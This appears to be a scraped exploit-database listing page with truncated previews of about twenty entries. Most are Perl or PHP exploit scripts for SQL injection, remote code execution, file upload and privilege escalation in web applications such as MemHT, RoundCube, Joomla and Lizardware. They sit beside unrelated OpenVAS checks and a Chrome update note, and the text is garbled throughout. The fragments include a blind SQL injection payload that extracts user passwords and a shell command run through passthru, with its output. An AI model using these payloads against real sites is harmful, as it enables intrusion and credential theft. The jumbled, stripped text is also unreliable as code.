远古视频点播系统注入漏洞

漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册 相关代码： szAgent = Request.ServerVariables"HTTPUSERAGENT" aTmpInfo = SplitszAgent, " ", -1, 1 aAgentInfo = SplitaTmpInfo1, "; ", -1, 1 szBrowser = aAgentInfo1 if RightaAgentInfo2, 1 = "" or RightaAgentInfo2, 1 = ";" then szOS = LeftaAgentInfo2,...

Fedora Update for mutt FEDORA-2007-0001

Check for the Version of mutt OpenVAS Vulnerability Test Fedora Update for mutt FEDORA-2007-0001 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of...

Fedora Update for mutt FEDORA-2007-540

Check for the Version of mutt OpenVAS Vulnerability Test Fedora Update for mutt FEDORA-2007-540 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of...

Graugon Forum 1 - 'id' Command Injection / SQL Injection

!/usr/bin/perl |--------------------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS |...

Firepack Code Execution

!/usr/bin/perl Firepack - Remote Command\Code Execution Exploit Firepack is a web atting toolkit often used in 2008, when the most versions of it were published. A short time ago i looked though the sourcecode and noticed that Vulnerability which can be used if the admin doesn't use a .htaccess...

simplePMS CMS 0.1.3a LFI / Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl Script : simplePMS CMS v0.1.3a Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2 Remote Command Execution Exploit Also affected to multiple LFI vulnerabilities -- Needs Register Globals ON $filename no...

Stable and Beta Update: Incognito Mode Fix

Google Chrome's Beta and Stable channels have been updated to 1.0.154.48. The change in 1.0.154.46 to fix Hotmail caused a problem for users in Incognito mode trying to access sites which depend on the User-Agent header. This header identifies the type of browser making the request and should be...

MemHT Portal 4.0.1 - Remote Code Execution

MemHT Portal 4.0.1 - Remote Code Execution !/usr/bin/perl MemHT Portal 7 Main::Usage; else HTTP::UserAgent$uagent; MemHT::Login; MemHT::Exploit$file; MemHT Exploit Package package MemHT; sub Exploit my $resp; my $file = shift...

MemHT Portal <= 4.0.1 (avatar) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl MemHT Portal = 4.0.1 avatar Remote Code Execution Exploit by yeat - stakerathotmaildotit use Getopt::Std; use Digest::MD5'md5hex'; use LWP::UserAgent; getopts'p:',\my %opts; my $host,$file,$id,$username,$password = @ARGV; my $http = new...

Fhimage 1.2.1 - Remote Command Execution (mq = off)

!/usr/bin/perl ----------------------------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------------------------- Fhimage 1.2.1 http://www.flash-here.com/downloads/download.php?id=9 Remote...

Joomla com_phocadocumentation (id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =============================================================== Joomla comphocadocumentation id Remote SQL Injection Exploit =============================================================== !/usr/bin/perl -w Joomla comphocadocumentation Sql...

Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit

Exploit for unknown platform in category web applications ================================================================== Ultimate PHP Board admin xpl by athos - stakerathotmaildotit\n". "\nUsage + perl $0 host path ID email". "\nHost + l...

Flexphplink Pro Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ============================================= Flexphplink Pro Arbitrary File Upload Exploit ============================================= !/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro...

RoundCube Webmail <= 0.2b Remote Code Execution Exploit

Exploit for unknown platform in category web applications ======================================================= RoundCube Webmail echoiniget'disablefunctions'; exec, system PHP passthru"id; uname -a"; uid=666www-data gid=666www-data groups=666www-data Linux mail 2.6.28 0 Sun Jan 01 10:05:33 CET...

Pligg 9.9.5b (check_url.php url) Upload Shell/SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Pligg 9.9.5b checkurl.php url Upload Shell/SQL Injection Exploit =================================================================== !/usr/bin/perl =about Pligg 9.9.5 Beta...

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================== Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,"...

Lizardware CMS 0.6.0 - Blind SQL Injection

!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...

Aiyoota! CMS - Blind SQL Injection

php '.$argv0.' -1 http://www.site.com Example Method 2 for http://www.site.com/english/8/8/45001/liste9.html = php '.$argv0.' -2 http://www.site.com english 8 8 45001 liste9.html '; $automatic = $argv1; $url = $argv2; if $argv1 == "-1" | $argv1 == "-2" & $argc == 3 | $argc == 8 if $argv1 == "-1"...

eZ Publish &lt; 3.9.5/3.10.1/4.0.1 Privilege Escalation Exploit

No description provided by source. ?php / eZ Publish privilege escalation exploit by s4avrd0w [email protected] Versions affected = 3.5.6 Resolved in 3.9.5, 3.10.1, 4.0.1 More info:...

checknew-sql.txt

!/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CW...